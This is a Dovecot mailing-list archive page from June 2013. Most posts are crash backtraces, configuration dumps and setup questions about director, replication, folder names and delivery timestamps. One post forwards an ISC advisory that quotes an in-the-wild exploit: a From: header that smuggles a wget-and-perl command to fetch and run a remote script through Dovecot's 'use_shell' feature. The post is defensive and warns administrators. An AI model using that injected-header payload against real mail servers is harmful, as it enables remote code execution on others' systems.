ns_set = 0x126f2e0 mail_set = <optimized out> error = 0x0 #6 0x0000000000405762 in client_raw_user_create (client=<optimized out>) at client.c:150 sets = <optimized out> #7 client_create (fd_in=12, fd_out=12, conn=<optimized out>) at client.c:242 client = 0x1267f10 pool = 0x1267ef0 #8 0x00007f305d3a8740 in master_service_listen (l=0x1266120) at master-service.c:826 service = 0x12625a0 conn = {fd = 12, listen_fd = 8, name = 0x1262905 "dovecot-lmtp", remote_ip = {family = 0, u = {ip6 = {__in6_u = {__u6_addr8 = '\000' <repeats 15 times>, __u6_addr16 = {0, 0, 0, 0, 0, 0, 0, 0}, __u6_addr32 = {0, 0, 0, 0}}}, ip4 = {s_addr = 0}}}, remote_port = 0, fifo = 0, ssl = 0, accepted = 1} #9 0x00007f305d3f2996 in io_loop_call_io (io=0x12661c0) at ioloop.c:387 ioloop = 0x1262710 t_id = 2 #10 0x00007f305d3f3807 in io_loop_handler_run (ioloop=ioloop@entry=0x1262710) at ioloop-epoll.c:215 ctx = 0x1265540 events = 0x0 event = 0x12655b0 list = 0x1266210 io = <optimized out> tv = {tv_sec = 2147483, tv_usec = 0} events_count = <optimized out> msecs = <optimized out> ret = 1 i = <optimized out> call = <optimized out> __FUNCTION__ = "io_loop_handler_run" #11 0x00007f305d3f24d8 in io_loop_run (ioloop=0x1262710) at ioloop.c:406 No locals. ---Type <return> to continue, or q <return> to quit--- #12 0x00007f305d3a8013 in master_service_run (service=0x12625a0, callback=callback@entry=0x404dd0 <client_connected>) at master-service.c:560 No locals. #13 0x0000000000404c24 in main (argc=1, argv=0x1262390) at main.c:122 set_roots = {0x60a6a0, 0x409260, 0x0} service_flags = <optimized out> storage_service_flags = 675 c = <optimized out>

2 2

[Dovecot] lmpt-service crash after update
by listserv 09 Jun '13

09 Jun '13

Hello, since the last update today without a change on the config, the lmtp-service crash with the follow messages: -------- Jun 9 13:16:43 kobe kernel: lmtp[25881]: segfault at 4 ip b7568e83 sp bfbe01b0 error 4 in libdovecot.so.0.0.0[b750c000+c6000] -------- Jun 9 13:16:43 kobe dovecot: lmtp(25881): Fatal: master: service(lmtp): child 25881 killed with signal 11 (core dumped) -------- GNU gdb (GDB) 7.6-debian Copyright (C) 2013 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "i486-linux-gnu". For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>... Reading symbols from /usr/lib/dovecot/lmtp...(no debugging symbols found)...done. [New LWP 25823] warning: Could not load shared library symbols for linux-gate.so.1. Do you need "set solib-search-path" or "set sysroot"? [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". Core was generated by `dovecot/lmtp'. Program terminated with signal 11, Segmentation fault. #0 0xb75a2e83 in buffer_append () from /usr/lib/dovecot/libdovecot.so.0 (gdb) bt full #0 0xb75a2e83 in buffer_append () from /usr/lib/dovecot/libdovecot.so.0 No symbol table info available. #1 0xb76821cb in mail_namespace_add_storage () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #2 0xb76885ed in mail_storage_create_full () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #3 0xb76889a5 in mail_storage_create () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #4 0xb76802f5 in raw_storage_create_from_set () from /usr/lib/dovecot/libdovecot-storage.so.0 No symbol table info available. #5 0x0804c578 in client_create () No symbol table info available. #6 0x0804bbf2 in _start () No symbol table info available. (gdb) ---------- doveconf -n # 2.2.2 (266101990d63): /etc/dovecot/dovecot.conf # OS: Linux 3.2.28.stk32 i686 Debian jessie/sid ext3 auth_debug = yes auth_debug_passwords = yes auth_mechanisms = digest-md5 cram-md5 auth_username_translation = %Lu auth_verbose = yes auth_verbose_passwords = plain dict { expire = db:/var/lib/dovecot/expire.db } hostname = kobe.vtlx.cn mail_attachment_dir = /var/mail/attachment mail_debug = yes mail_gid = vmail mail_home = /var/mail/vhosts/%Ld/%Ln mail_location = sdbox:/var/mail/vhosts/%Ld/%Ln:DIRNAME=DbOx-mAiLs mail_plugins = " quota mail_log notify expire zlib" mail_privileged_group = vmail mail_uid = vmail mailbox_list_index = yes managesieve_notify_capability = mailto managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body enotify environment mailbox date ihave namespace inbox { inbox = yes location = mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Spam { auto = subscribe special_use = \Junk } mailbox Trash { auto = subscribe special_use = \Trash } prefix = separator = / subscriptions = yes type = private } passdb { args = scheme=PLAIN username_format=%Lu /etc/dovecot/user_pw/passwd driver = passwd-file } plugin { acl = vfile acl_shared_dict = file:/var/mail/shared-db/shared-mailboxes expire = Trash 2h expire_dict = proxy::expire mail_log_events = delete undelete copy mailbox_delete mailbox_rename expunge save mailbox_create mail_log_fields = uid box msgid size quota = dict:User quota::file:/var/mail/vhosts/%Ld/%Ln/dovecot-quota quota_exceeded_message = Die Mailbox des Empfaengers ist voll -- Quota exceeded -- Please contact <postmaster(a)xtlv.cn> quota_grace = 10%% quota_rule = *:storage=30M quota_rule2 = Trash:storage=+10%% quota_status_nouser = DUNNO quota_status_overquota = "552 5.5.2 Die Mailbox des Empfaengers ist voll ## Quota exceeded ## Please contact <postmaster(a)xtlv.cn>" quota_status_success = DUNNO quota_warning = storage=95%% quota-warning 95 %u quota_warning2 = storage=90%% quota-warning 90 %u quota_warning3 = storage=85%% quota-warning 85 %u quota_warning4 = storage=80%% quota-warning 80 %u quota_warning5 = storage=70%% quota-warning 70 %u sieve = ~/.dovecot.sieve sieve_dir = ~/sieve } postmaster_address = postmaster(a)xtlv.cn protocols = " imap lmtp sieve pop3" rejection_reason = Your message to <%t> was automatically rejected:%n%r [TEST] service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-userdb { mode = 0600 user = vmail } } service config { unix_listener config { mode = 0600 user = vmail } } service dict { unix_listener dict { mode = 0600 user = vmail } } service imap-login { inet_listener imap { port = 0 } inet_listener imaps { address = 84.38.75.143 port = 993 ssl = yes } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0660 user = postfix } } service managesieve-login { inet_listener sieve { address = 84.38.75.143 port = 4190 } } service pop3-login { inet_listener pop3 { port = 0 } inet_listener pop3s { address = 84.38.75.143 port = 995 ssl = yes } } service quota-status { client_limit = 1 executable = quota-status -p postfix unix_listener /var/spool/postfix/private/quota-status { group = postfix mode = 0660 user = postfix } } service quota-warning { executable = script /usr/local/bin/quota-warning.sh unix_listener quota-warning { group = vmail mode = 0660 user = vmail } user = root } ssl_ca = </etc/dovecot/keys/ca.crt ssl_cert = </etc/dovecot/keys/mx01-dov.pem ssl_key = </etc/dovecot/keys/mx01-dov.key userdb { args = username_format=%Lu /etc/dovecot/user_pw/passwd driver = passwd-file } protocol lmtp { mail_plugins = " quota mail_log notify expire zlib quota sieve" } protocol lda { mail_plugins = " quota mail_log notify expire zlib sieve" } protocol imap { mail_plugins = " quota mail_log notify expire zlib imap_quota" } protocol pop3 { mail_plugins = " quota mail_log notify expire zlib quota" } I hope the infos helps to solve this problem. many thanks, Mario -- 中華人民共和國

1 0

[Dovecot] from ISC: Exim/Dovecot exploit making the rounds
by Luigi Rosa 09 Jun '13

09 Jun '13

One of our readers wrote in to let us know that he had received an attempted Exim/Dovecot exploit attempt against his email server. The exploit partially looked like this: From: x`wget${IFS}-O${IFS}/tmp/crew.pl${IFS}50.xx.xx.xx/dc.txt``perl${IFS}/tmp/crew.pl`(a)blaat.com (Obviously edited for your safety, and I didn't post the whole thing.) This is an exploit against Dovecot that is using the feature "use_shell" against itself. This feature, unfortunately, is found in the example wiki on Dovecot's website, and also in their example configuration. We'd caution anyone that is using Dovecot to take a look at their configuration and make use they aren't using the "use_shell" parameter. Or if you are, make darn sure you know what you are doing, and how to defend yourself. https://isc.sans.edu/diary/EximDovecot+exploit+making+the+rounds/15962 Ciao, luigi -- / +--[Luigi Rosa]-- \ The generation of random numbers is too important to be left to chance.

2 1

[Dovecot] Speed up mail retrieval by keyword
by Manfred Usselmann 09 Jun '13

09 Jun '13

Hi, I' m using a roundcube plugin for adding attributes to mails, which are stored as IMAP keywords (https://github.com/umount/message_label [1]). This plugin allows me to retrieve mails with a certain attribute across all my mail folders. Selecting mails this way is very convenient, but also very slow, probably because I've got a lot of mails and folders. Is there a way to speed this up somehow by changing any configuration options? Versions in use are Roundcube 0.9.0 and Dovecot 2.1.10 (Maildir). Thanks Manfred Links: ------ [1] https://github.com/umount/message_label

2 1

[Dovecot] search and UTF-8 normalization forms (NFD)
by Lutz Preßler 09 Jun '13

09 Jun '13

Hello, on a system with dovecot 2.2 I've got a mailbox containing multiple mails from a person called Krüger, but From: header encoded differently. Some are encoded in UTF-8 normalization form decomposed (as used by Mac OSX), that is u and umlaut accent as sperate combined codepoints instead of one ü: From: =?utf-8?Q?replaced_Kru=CC=88ger?= <krueger(a)some.domain> Searching within roundcube webmail for "krüger" as sender missis this mails. Roundcube sends (dovecot rawlog): A0003 UID THREAD REFS UTF-8 ALL HEADER FROM {7+}krüger Is this supposed to work? Haven't done any more debugging (other search variants) or read RFCs. As a user I would expect Unicode equivalence rules be applied (see http://en.wikipedia.org/wiki/Unicode_equivalence) Regards, Lutz

3 7

[Dovecot] Question on Director setup
by Joe Wong 07 Jun '13

07 Jun '13

Hello, I am following the wiki page to setup 2 IMAP servers Director. in each server, I have created 2 sets of dovecot config file where the first set is for imap proxy with director the second set is for the imap backend after this, I attempt to login IMAP through the imap-proxy on any machine with several users. from the log, all users always go to the same IMAP backend in Server 2, I don't see any user go to the IMAP backend in Server 1 at all. What could be the problem I have ? - Joe

1 0

[Dovecot] Dovecot IMAP
by Alex Dubinin 07 Jun '13

07 Jun '13

This is my first experience of the mail server. Set up a mail server from Postfix + Dovecot with the MySQL authorization. When you create a new user dovecot makes strange folder structure: the 'inbox' contains 'juncus', 'tash', 'sent' etc. ie 'sent' and other folders are subdir to the 'inbox'. My result: 04 LIST "" "*" * LIST (\HasChildren) "." "INBOX" * LIST (\HasNoChildren) "." "INBOX.Trash" I want: 04 LIST "" "*" * LIST (\HasNoChildren) "." "INBOX" * LIST (\HasNoChildren) "." "Trash" # dovecot --version 2.1.7 # dovecot -n # 2.1.7: /etc/dovecot/dovecot.conf # OS: Linux 3.2.0-4-amd64 x86_64 Debian 7.0 ext4 auth_debug = yes auth_debug_passwords = yes auth_verbose = yes auth_verbose_passwords = plain base_dir = /run/dovecot/ debug_log_path = /var/vmail/dovecot.log disable_plaintext_auth = no info_log_path = /var/vmail/dovecot.log lda_mailbox_autocreate = yes lda_mailbox_autosubscribe = yes listen = MY_IP log_path = /var/vmail/dovecot.log log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = MAIL_DOMAIN_NAME IMAP server ready. mail_debug = yes mail_location = maildir:/var/vmail/%d/%n/Maildir mail_plugins = " quota" namespace inbox { hidden = no inbox = yes list = yes location = mailbox Drafts { special_use = \Drafts } mailbox Trash { special_use = \Trash } mailbox Junk { special_use = \Junk } mailbox Sent { special_use = \Sent } prefix = INBOX. separator = . type = private } passdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } plugin { quota = maildir:User quota quota_rule = *:storage=1G quota_rule2 = Trash:storage=+10%% quota_rule3 = Junk:storage=+10%% quota_rule4 = Drafts:storage=+10%% quota_warning = storage=95%% quota-warning 95 %u } postmaster_address = admin@ MAIL_DOMAIN_NAME protocols = " imap pop3" service auth-worker { executable = auth -w unix_listener auth-worker { group = mode = 0600 } } service auth { unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } unix_listener auth-master { group = vmail mode = 0600 user = vmail } unix_listener auth-userdb { group = mode = 0600 user = } user = root } service dict { unix_listener dict { group = mode = 0600 user = } } service imap-login { inet_listener imap { port = 0 } inet_listener imaps { port = 993 ssl = yes } process_min_avail = 0 service_count = 1 } service imap { unix_listener login/imap { group = mode = 0666 user = } } service lmtp { unix_listener lmtp { group = mode = 0666 user = } } service pop3-login { inet_listener pop3 { port = 0 } inet_listener pop3s { port = 0 ssl = yes } } service pop3 { unix_listener login/pop3 { group = mode = 0666 user = } } ssl = required ssl_ca = </etc/dovecot/MAIL_SERVER_NAME-ca.crt ssl_cert = </etc/dovecot/MAIL_SERVER_NAME .crt ssl_key = </etc/dovecot/private/MAIL_SERVER_NAME .key userdb { args = /etc/dovecot/dovecot-sql.conf.ext driver = sql } verbose_ssl = yes protocol lda { auth_socket_path = /var/run/dovecot/auth-master log_path = /var/vmail/dovecot-deliver.log postmaster_address = admin@ MAIL_DOMAIN_NAME } protocol imap { mail_plugins = " quota autocreate imap_quota" } How to make the imap folders 'sent', 'trash' and others were not affiliated? P.S. Sorry for my english.

3 2

[Dovecot] v2.2.2 (e5bd0a7c6a1e) Core Dump
by Thomas Leuxner 07 Jun '13

07 Jun '13

(gdb) bt full #0 mailbox_list_default_get_vname (list=0x21ceec0, storage_name=0x0) at mailbox-list.c:655 __s2_len = <optimized out> i = <optimized out> prefix_len = <optimized out> name_len = <optimized out> vname = 0x0 list_sep = <optimized out> ns_sep = <optimized out> ret = <optimized out> #1 0x00007fecd7cf4585 in acl_backend_vfile_get_local_dir (name=0x0, name@entry=0x7fecd7cfada8 "", backend=<error reading variable: Unhandled dwarf expression opcode 0xfa>) at acl-backend-vfile.c:147 ns = 0x21ca6d0 list = 0x21ceec0 storage = <optimized out> type = <optimized out> dir = <optimized out> inbox = <optimized out> vname = <optimized out> error = 0x221a100 "\320\"\035\002" #2 0x00007fecd7cf470e in acl_backend_vfile_object_init (_backend=0x21d22d0, name=0x7fecd7cfada8 "") at acl-backend-vfile.c:195 _data_stack_cur_id = 6 backend = 0x21d22d0 aclobj = 0x221a100 dir = <optimized out> vname = <optimized out> #3 0x00007fecd7cf3c8e in acl_backend_get_default_object (backend=backend@entry=0x21d22d0) at acl-backend.c:177 user = 0x21caeb0 ns = 0x21ca6d0 default_name = <optimized out> #4 0x00007fecd7cf3cce in acl_backend_get_default_rights (backend=0x21d22d0, mask_r=mask_r@entry=0x7fffc5835d78) at acl-backend.c:184 aclobj = <optimized out> #5 0x00007fecd7cf9c51 in acl_mailbox_try_list_fast (ctx=0x221b4b0) at acl-mailbox-list.c:107 alist = 0x21cf1a8 nonowner_list_ctx = <optimized out> ret = <optimized out> backend = <optimized out> idxp = 0x21cf278 acl_mask = 0x0 ns = 0x21ca6d0 update_ctx = {iter_ctx = 0x1, tree_ctx = 0x7fecd90aa548, glob = 0x6, leaf_flags = 35726664, parent_flags = 0, update_only = 0, match_parents = 0} name = <optimized out> #6 acl_mailbox_list_iter_init (list=0x21ceec0, patterns=0x21d92f8, flags=49152) at acl-mailbox-list.c:194 _data_stack_cur_id = 5 alist = 0x21cf1a8 ctx = 0x221b4b0 pool = <optimized out> p = <optimized out> i = <optimized out> inboxcase = <optimized out> #7 0x00007fecd8c0c09d in mailbox_list_iter_init_multiple (list=0x21ceec0, patterns=<optimized out>, flags=49152) at mailbox-list-iter.c:173 ctx = <optimized out> ret = 0 #8 0x00007fecd8c0d35b in mailbox_list_ns_iter_try_next (info_r=<synthetic pointer>, _ctx=0x21d9020) at mailbox-list-iter.c:574 ctx = 0x21d9020 info = <optimized out> errstr = <optimized out> has_children = <optimized out> ns = <optimized out> error = 4294967295 #9 mailbox_list_ns_iter_next (_ctx=0x21d9020) at mailbox-list-iter.c:645 info = <optimized out> #10 0x00007fecd8c0bd17 in mailbox_list_iter_next_call (ctx=ctx@entry=0x21d9020) at mailbox-list-iter.c:941 info = <optimized out> set = <optimized out> #11 0x00007fecd8c0c9a8 in mailbox_list_iter_next (ctx=0x21d9020) at mailbox-list-iter.c:1012 _data_stack_cur_id = 4 info = <optimized out> #12 0x000000000040f209 in cmd_list_continue (cmd=cmd@entry=0x21ddf40) at cmd-list.c:229 ctx = 0x21de188 info = <optimized out> flags = <optimized out> str = 0x21af518 mutf7_name = 0x21af668 name = <optimized out> ret = <optimized out> #13 0x000000000040fa4f in cmd_list_full (cmd=0x21ddf40, lsub=<optimized out>) at cmd-list.c:463 client = <optimized out> args = 0x21bab18 list_args = 0x21ddf40 arg_count = <optimized out> ctx = 0x21de188 patterns = {arr = {buffer = 0x21de1c8, element_size = 8}, v = 0x21de1c8, v_modifiable = 0x21de1c8} ref = 0x21de1b8 "" pattern = 0x21de1c0 "%" patterns_strarr = 0x21de200 str = <optimized out> #14 0x000000000041675c in command_exec (cmd=cmd@entry=0x21ddf40) at imap-commands.c:156 hook = 0x21b8d90 ret = <optimized out> #15 0x00000000004157c0 in client_command_input (cmd=0x21ddf40) at imap-client.c:775 client = 0x21dd360 command = <optimized out> __FUNCTION__ = "client_command_input" #16 0x000000000041587a in client_command_input (cmd=0x21ddf40) at imap-client.c:836 client = 0x21dd360 command = <optimized out> __FUNCTION__ = "client_command_input" #17 0x0000000000415b35 in client_handle_next_command (remove_io_r=<synthetic pointer>, client=0x21dd360) at imap-client.c:874 No locals. #18 client_handle_input (client=client@entry=0x21dd360) at imap-client.c:886 _data_stack_cur_id = 3 ret = 32 remove_io = false handled_commands = false __FUNCTION__ = "client_handle_input" #19 0x0000000000415ee2 in client_input (client=0x21dd360) at imap-client.c:928 cmd = <optimized out> output = 0x21ddd78 bytes = 19 __FUNCTION__ = "client_input" #20 0x00007fecd8922d06 in io_loop_call_io (io=0x21dde40) at ioloop.c:387 ioloop = 0x21b7720 t_id = 2 #21 0x00007fecd8923b77 in io_loop_handler_run (ioloop=ioloop@entry=0x21b7720) at ioloop-epoll.c:215 ctx = 0x21b7a90 events = 0x21ca6d0 event = 0x21b7b00 list = 0x21dde90 io = <optimized out> tv = {tv_sec = 3, tv_usec = 876580} events_count = <optimized out> msecs = <optimized out> ret = 1 i = <optimized out> call = <optimized out> __FUNCTION__ = "io_loop_handler_run" #22 0x00007fecd8922848 in io_loop_run (ioloop=0x21b7720) at ioloop.c:406 No locals. #23 0x00007fecd88d8b53 in master_service_run (service=0x21b75b0, callback=callback@entry=0x41ed00 <client_connected>) at master-service.c:560 No locals. #24 0x000000000040baf8 in main (argc=1, argv=0x21b7390) at main.c:400 set_roots = {0x4262e0, 0x0} login_set = {auth_socket_path = 0x21af040 "\001", postlogin_socket_path = 0x0, postlogin_timeout_secs = 60, callback = 0x41ebb0 <login_client_connected>, failure_callback = 0x41e8c0 <login_client_failed>, request_auth_token = 1} service_flags = <optimized out> storage_service_flags = <optimized out> username = 0x0 c = <optimized out>

1 1

[Dovecot] Load Balancing and HA
by Romer Ventura 06 Jun '13

06 Jun '13

Hello, I've been thinking about the best way to achieve load balancing and making my mail servers highly available. So far I believe I have 2 scenarios: Scenario1: This should allow any to lose any of the servers and clients still have access to their emails (although I am not sure how the indexes would react to this and sudden disconnection) - 2 Dovecot Proxy servers, using a virtual IP to where the clients will connect to from the WAN and LAN - 2 Dovecot+Postfix servers with local cache - 2 NFS servers and synced with dsync (mirror, 1 server writes to its own NFS and changes synced to the other via dsync) Scenario2: Pretty much as above on the back end. However, with this there is no way to load balance users. - 2 Dovecot+Postfix server with local cache - 2 NFS servers synced with dsync - Make use of DNS MX record priority to provide access to secondary email server Anyone care to comment? Thanks. <BR CLEAR="ALL"> <hr style="border: 1px solid #CCC;"> <p style="font-style:italic; font-size:8pt; font-family:verdana; color:gray;">This document and attachments may contain technical data controlled under the U.S. International Traffic in Arms Regulations (ITAR) or the Export Administration Regulations (EAR) and may not be exported to a Foreign Person, either in the U.S. or abroad, without the proper authorization by the U.S. Department of State or Department of Commerce, whichever is applicable. CONFIDENTIALITY NOTE: This electronic transmission, including all attachments, is directed in confidence solely to the person(s) to whom it is addressed, or an authorized recipient, and may not otherwise be distributed, copied or disclosed. The contents of the transmission may also be subject to intellectual property rights and such rights are expressly claimed and are not waived. If you have received this transmission in error, please notify the sender immediately by return electronic transmission and then immediately delete this transmission, including all attachments, without copying, distributing or disclosing same. The recipient should check this e-mail and any attachments for the presence of viruses. Houston Sigma Technologies L.P. accepts no liability for any damage caused by any virus transmitted by this e-mail.</p>

6 8

[Dovecot] Dovecot mysql replication
by Edwardo Garcia 06 Jun '13

06 Jun '13

Halo, (First time posting, please forgive English is not native) Change from Courier to Dovecot 2.1.16 Having two server. Having mysql on thiz two server, one master, one slave. What we wish is slave Dovecot only ask slave mysql, unless slave mysql not work when then ask master, we have Postfix do thiz fallover good, but Dovecot talk to slave and master no mater what, we think thiz defeat fallover as we not want this aktion, but aktion like Postfix. The problemo is can not find Dovecot option for thiz in wiki2.dovecot.org, is possible?

9 26

[Dovecot] Error: Threading lost Message ID
by Oscar A. Jara 05 Jun '13

05 Jun '13

Hello everyone, I have just put in production dovecot imap and pop3 in replacement of courier in a setup of 700 accounts aprox. Dovecot release running is 1.2.16 in a Linux CentOS 5.8. Seems like some accounts are having problems dealing with message threading, as I read lines like this one in my logs: IMAP(some_user): Error: Threading lost Message ID ...and some of those accounts cannot even list the emails. I temporarily got rid of this problem deactivating threading on those accounts but I would like to solve it. I found a patch that seams to deal with this problem at http://hg.dovecot.org/dovecot-1.2/rev/76023d59c3b2 but it would be weird that CentOS wouldn't have release a patched version of the package. Am I missing something here? Thanks in advance! __________ Information from ESET Mail Security, version of virus signature database 8412 (20130604) __________ The message was checked by ESET Mail Security. http://www.eset.com

2 3

[Dovecot] Crash dovecot 1.2.15
by ib 05 Jun '13

05 Jun '13

Hi everybody We have a probleme with dovecot Jun 05 06:26:01 dovecot: Warning: SIGHUP received - reloading configuration Jun 05 06:26:02 dovecot: Error: Raw backtrace: /usr/sbin/dovecot() [0x41348a] -> /usr/sbin/dovecot() [0x413584] -> /usr/sbin/dovecot() [0x40b290] -> /usr/sbin/dovecot() [0x412bf6] -> /usr/sbin/dovecot() [0x405c9a] -> /usr/sbin/dovecot() [0x416f3d] -> /usr/sbin/dovecot() [0x4163b8] -> /usr/sbin/dovecot() [0x40bb39] -> /lib/libc.so.6(__libc_start_main+0xfd) [0x7f2bad861c8d] -> /usr/sbin/dovecot() [0x403859] Jun 05 07:58:09 dovecot: Info: Dovecot v1.2.15 starting up (core dumps disabled) -- Cordialement, <http://www.ice-dev.com> *Ivan BERTHELOT* Administrateur Réseaux ICE DEVELOPMENT 16 rue Maurice Bouchor Tel : 08 21 23 03 54 http://www.ice-dev.com

2 1

Re: [Dovecot] dovecot and time
by Rick Romero 05 Jun '13

05 Jun '13

I found something interesting via strace. lda is writing a timestamp with utime before doign the fsync, but I'm really not a C guy, so I have no idea why that's going on via procmail and not via commandline. I assume it's related to the choice of pread64 vs read. when called from commandline (working): read(0, "July 14-20, 2013\n10 courses. Bon"..., 4096) = 4096 read(0, "s bigger\nthan most realistic cyb"..., 4096) = 4096 read(0, "olina company in\nnumerous small,"..., 4096) = 4096 read(0, "on't have any way to tell you\". "..., 4096) = 4096 read(0, "rer. This version of Chrome addr"..., 4096) = 4096 read(0, "edu.\n\nDr. Johannes Ullrich is Ch"..., 4096) = 3164 read(0, "", 932) = 0 umask(0177) = 077 open("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/tmp/1370448645.M589211P14191.smtp101", O_WRONLY|O_CREAT|O_EXCL|O_TRUNC|O_LARGEFILE, 0777) = 11 umask(077) = 0177 open("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/dovecot.index.cache", O_RDWR|O_LARGEFILE) = 12 fstat64(12, {st_mode=S_IFREG|0600, st_size=1568768, ...}) = 0 mmap2(NULL, 1568768, PROT_READ, MAP_SHARED, 12, 0) = 0xb7064000 fstat64(11, {st_mode=S_IFREG|0600, st_size=0, ...}) = 0 write(11, "Return-Path: <newsbites(a)sans.org"..., 8192) = 8192 write(11, "s bigger\nthan most realistic cyb"..., 8192) = 8192 write(11, "on't have any way to tell you\". "..., 11356) = 11356 fstat64(11, {st_mode=S_IFREG|0600, st_size=27740, ...}) = 0 fsync(11) = 0 _llseek(11, 0, [27740], SEEK_END) = 0 close(11) = 0 time(NULL) = 1370448645 umask(0177) = 077 when called from procmail (not working): pread64(10, "00.vfemail.net,S=10941\n968 W2552"..., 4064, 52993) = 4064 pread64(10, "53 :1361943010.39085.mx100.vfema"..., 4087, 57057) = 4087 pread64(10, " :1364597743.43999.mx100.vfemail"..., 4085, 61144) = 4085 pread64(10, "mx100.vfemail.net,S=15951\n17287 "..., 4065, 65229) = 4065 pread64(10, "637P32360.smtp101.vfemail.net,S="..., 4074, 69294) = 3967 pread64(10, "", 107, 73261) = 0 umask(0177) = 077 open("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/tmp/1370449940.M313792P17436.smtp101", O_WRONLY|O_CREAT|O_EXCL|O_TRUNC|O_LARGEFILE, 0777) = 11 umask(077) = 0177 open("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/dovecot.index.cache", O_RDWR|O_LARGEFILE) = 12 fstat64(12, {st_mode=S_IFREG|0600, st_size=1575936, ...}) = 0 mmap2(NULL, 1575936, PROT_READ, MAP_SHARED, 12, 0) = 0xb70b0000 fstat64(11, {st_mode=S_IFREG|0600, st_size=0, ...}) = 0 read(0, "", 1127) = 0 write(11, "Return-Path: <dovecot-bounces@do"..., 2911) = 2911 utime("/usr/home/vpopmail/domains/havokmon.com/rick/Maildir/tmp/1370449940.M313792P17436.smtp101", [2013/06/05-16:32:20, 2013/06/05-21:32:18]) = fsync(11) = 0 _llseek(11, 0, [2911], SEEK_END) = 0 close(11) = 0 time(NULL) = 1370449940 umask(0177) = 077 Should I attach full traces? They're 32k and 64k respectively. Sorry about the lack of threading, I had my subscription off and didn't get a copy to reply to :/ Rick

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[Dovecot] 400 Bad Request response from pigeonhole.dovecot.org
by ben＠indietorrent.org 05 Jun '13

05 Jun '13

I'm attempting to access the Pigeonhole documentation but am receiving a 400 Bad Request response from http://pigeonhole.dovecot.org/ . Is this expected? If so, has the documentation moved? Thanks for any help! -Ben

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[Dovecot] partionning users among backends
by Emmanuel Dreyfus 05 Jun '13

05 Jun '13

Hi I face growing load on a mailserver, and I would like to spread the load on multiple machines. I made a first attempt with dsync but got burnt with issues with mbox, therefore now I am looking for another safer approach. Partitionning users on multiple backends would address my load problem. I would have 50% of users on mail1.example.net and 50% on mail2.example.net, but I need to correctly redirect users requests, as their mail user agents only know about mail.example.net. Is dovecot able to send request to the local machine or to proxy them to another one, depending on information it would have on user mailboxes location? If it does, do we have documentation on this? -- Emmanuel Dreyfus manu(a)netbsd.org

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[Dovecot] Bad exit status from dsync
by Jan-Frode Myklebust 05 Jun '13

05 Jun '13

I just tried to migrate one of my users from maildir to mdbox using dsync. My conversion script is checking the dsync exit code to know if the conversion goes fine or not, and surprisingly dsync returned "0" at the same time as it gave the error: Error: Failed to sync mailbox .ta\ vare\ på ... (sorry, lost the rest of the error message) Changing the folder name to mUTF7 manually made it work, but I didn't like that dsync returned success when it got this error. That breaks the failsafe logic in my conversion script. Dovecot version dovecot-ee-2.1.16.3-1, x86_64, RHEL5. Dsync command used: dsync -v -u username(a)example.net mirror maildir:/usr/local/atmail/users/u/s/username@example.net With these dovecot.conf settings: mail_home = /srv/mailstore/%256LRHu/%Ld/%Ln mail_location = mdbox:~/mdbox -jf

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[Dovecot] Dovecot and time (again)
by Rick Romero 05 Jun '13

05 Jun '13

I'm rehashing/reliving my issues from 2010: http://www.dovecot.org/list/dovecot/2010-October/053528.html In short, when calling deliver from vdelivermail (or procmail), and delivering via NFS to Maildir, the timestamp on the file is GMT. If procmail or vdelivermail completely handle the email, the timestamp is CST. The server is set to CST. What's changed from the original issue? Previously was running dovecot 1.x on FreeBSD, now 2.1.7 on Debian 7. I know it's a few versions behind, but this is a deliver only server, and ChangeLog doesn't show too many fixes for lda. Of course, running the command from the command line works perfectly... So where could my problem reside? Two examples: 1st via Calling from procmail: :0 * ? test -f /usr/lib/dovecot/dovecot-lda { :0w |/usr/lib/dovecot/deliver -d $EXT@$HOST } -rw------- 1 vpopmail vchkpw 87196 Jun 5 13:43 1370439849.M812P29560.smtp101,S=87196,W=88094 2nd via Commandline: #sudo -u vpopmail cat /tmp/testmail.txt | /usr/lib/dovecot/deliver -d rick(a)havokmon.com -rw------- 1 vpopmail vchkpw 27740 Jun 5 08:46 1370440001.M421646P29846.smtp101,S=27740,W=28243 I've thrown the TZ variable in the mix as well with no resolution |/usr/bin/env -i TZ=CST /usr/lib/dovecot/deliver -d $EXT@$HOST |/usr/bin/env -i TZ=America/Chicago /usr/lib/dovecot/deliver -d $EXT@$HOST I've also set import_environment = TZ , but it doesn't seem to show in dovecot -n ... Any other thoughts? Side note - deliver behavior has changed since 1.x. I used to be able to specifiy the HOME directory, but now deliver requires the -d parameter, so I've had to setup an Auth server where I didn't have to in the past. Am I the only one who doesn't run my servers in GMT? I seem to only find my own posts when searching on this :) Rick

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[Dovecot] valid folder name
by Jan-Frode Myklebust 05 Jun '13

05 Jun '13

We have a quite large user base, with lots of bad folder names because the mail folders was earlier accessible outside of dovecot. Now we're running dsync conversions from maildir to mdbox for all users, but are struggelig a bit with dsync not liking invalid folder names. Before we convert a user we try to determine if the folder names are valid, but we don't have a very good regexp for validating it. Maybe someone else knows a way to verify (and fix?) folder names that are invalid. The rules I know is: - name doesn't start with '.' or '~' (after the initial '.') - name doesn't end with '.' - the name doesn't contain '..' - the name is valid mUTF7 So, any regexp gurus that can distill those rules down to something usable? -jf -- Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems. -jwz

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